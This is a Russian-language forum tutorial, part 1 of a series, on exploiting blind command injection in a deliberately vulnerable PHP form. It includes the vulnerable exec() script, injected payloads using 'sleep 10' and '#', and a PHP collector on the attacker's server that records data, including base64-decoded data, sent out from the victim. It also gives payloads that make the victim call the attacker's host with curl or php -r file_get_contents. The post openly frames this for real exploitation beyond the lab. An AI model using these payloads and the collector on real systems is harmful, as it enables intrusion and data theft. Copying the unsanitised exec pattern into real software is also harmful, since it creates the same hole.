✍️ Статья Эксплуатация уязвимости «слепое внедрение команд» (blind command injection). Часть 1

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Уязвимость «внедрение команд» (также называют «удалённое выполнение кода») позволяет выполнять команды на уровне операционной системы. Такие уязвимости могут быть найдены в веб-приложениях, роутерах.

Тренировка в эксплуатации слепого внедрения команд

Для тренировки нам понадобятся:
  • машина с веб-сервером и уязвимым веб-приложением
  • веб-сервер атакующего — может быть вторая машина в локальной сети или ваш хостинг
На самом деле, при реальной эксплуатации можно обойтись без прямого IP.

Роль уязвимого приложения будет выполнять следующий скрипт:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Отправка сообщения администратору</title>
</head>
<body>
<p>Введите сообщение администратору сайта hackware.ru</p>
<form>
<input name="message" type="text" />
<input type="submit">
</form>


<?php
if (isset($_GET["message"])) {
exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');
}
?>
</body>
</html>


Сохраните его в файл с расширением .php. Я сохранил его в папке веб сервера vuln, поэтому у меня этот скрипт доступен по адресу .

Как можно увидеть, это просто форма для ввода строки.

TRXo7KSZzHg.jpg


В этом коде нас интересует строка:

exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');

Функция exec выполняет системную команду без вывода сообщения. В качестве системной команды используется echo, с помощью которой полученное сообщение сохраняется в файл /tmp/messages. Конечно, мы рассматриваем учебный случай, при котором не фильтруются никакие символы.

Итак, скрипт запускает системную команду вида:

echo СТРОКА >> /tmp/messages

Если в качестве СТРОКИ мы впишем «Привет, это проверка; sleep 10; #», то получится, что будет выполнено следующее:

echo Привет, это проверка; sleep 10; # >> /tmp/messages

В этой строке первой командой является

echo Привет, это проверка;

Затем следует наша полезная нагрузка

sleep 10;

Наконец, мы ставим знак # (решётки) чтобы последняя часть превратилась в комментарий и не вызывала ошибок:

# >> /tmp/messages

Как подтвердить уязвимость слепое внедрение команд

Поскольку никакие данные не выводятся, нам нужно найти косвенные способы подтвердить наличие уязвимости. Полезная нагрузки в виде команды sleep 10; является одним из таких способов — без этой команды новая страница загружается практически мгновенно, а с этой командой новая страница загружается только через 10 секунд — когда команда sleep завершит свою работу.

Кроме описанного способа на основе таймингов, можно инициировать исходящее подключения с уязвимой машины на веб сервер под управлением атакующего. Обычно исходящие соединения не запрещены правилами файерволов. Если удастся зафиксировать входящие подключение от атакуемой машины, значит уязвимость подтверждена.

На веб сервере или хостинге атакующего создайте файл c.php со следующим содержимым:

<?php

if (isset($_GET["b"])) {
$file = 'messages.txt';
$current = file_get_contents($file);
$current .= base64_decode($_GET["b"]) . "\n". "\n";
file_put_contents($file, $current);
}

if (isset($_GET["q"])) {
$file = 'messages.txt';
$current = file_get_contents($file);
$current .= $_GET["q"] . "\n". "\n";
file_put_contents($file, $current);
}


if (isset($_POST["q"])) {
$file = 'messages.txt';
$current = file_get_contents($file);
$current .= $_POST["q"] . "\n". "\n";
file_put_contents($file, $current);
}


Скрипт очень простой — он принимает значение параметра b или q, отправленных методом GET и POST. Значение обеих переменных сохраняется в файл messages.txt. Значение q сохраняется как есть, а строка из b предварительно декодируется из BASE64.

В качестве машины атакующего я буду использовать Kali Linux.

В этом дистрибутиве файлы веб-сервера хранятся в папке /var/www/html/. Поэтому я сохраняю содержимое приведённого выше скрипта в файл /var/www/html/c.php:

sudo mousepad /var/www/html/c.php

В этой же папке нужно создать файл messages.txt:

sudo touch /var/www/html/messages.txt

Поскольку файл принадлежит пользователю root, а скрипт c.php будет работать с правами веб-сервера, то нужно сделать этот файл доступным для записи всем:

sudo chmod 777 /var/www/html/messages.txt

Мониторить появление новых записей в этом файле можно следующей командой (новые записи в файле messages.txt будут выводиться в реальном времени по мере добавления):

tail -f /var/www/html/messages.txt

Запустим веб-сервер на Kali Linux:

sudo systemctl start apache2.service

В реальной ситуации для эксплуатации слепого внедрения команд нужно, чтобы у атакующего был белый IP, либо использовать любой хостинг с PHP. Я буду показывать на примере, когда оба компьютера уязвимый и атакующий находятся в локальной сети. Поэтому мне достаточно локального IP адреса. Посмотреть свой локальный IP адрес вы можете командой:

ip a

У Kali Linux в моём случае это 192.168.56.104, следовательно, скрипт для получения информации доступен по адресу 192.168.56.104/c.php

Проверим его работу, открыв в веб-браузере ссылку 192.168.56.104/c.php?q=проверка скрипта

В результате в файле messages.txt должна появится строка «проверка скрипта».

LMJ4ueTMOM4.jpg


Мы можем в качестве полезной нагрузки использовать команду curl:

curl IP_АТАКУЮЩЕГО/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА

Для моего примера мне достаточно ввести следующее в окно ввода сообщения:

Привет, это проверка; curl 192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА; #

slv9YTsmJrs.jpg


В результате команда curl запросит страницу с указанным адресом, а в файле messages.txt добавится «ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА».

0cDZtrmhQCc.jpg


Это подтвердит наличие уязвимости. Но проблема в том, что на уязвимом сервере может отсутствовать программа curl. Это не проблема — мы можем выполнить все действия средствами самого PHP.

Можно запустить команду вида:

php -r 'PHP КОД ДЛЯ ВЫПОЛНЕНИЯ'

Чтобы открыть веб-ссылку, можно использовать функцию file_get_contents, тогда моя полезная нагрузка будет такой:

php -r 'file_get_contents("http://192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА");'

А в поле ввода я вставлю:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА");'; #

Продолжение следует…
 

📌 Золотая реклама

AnonPaste

Верх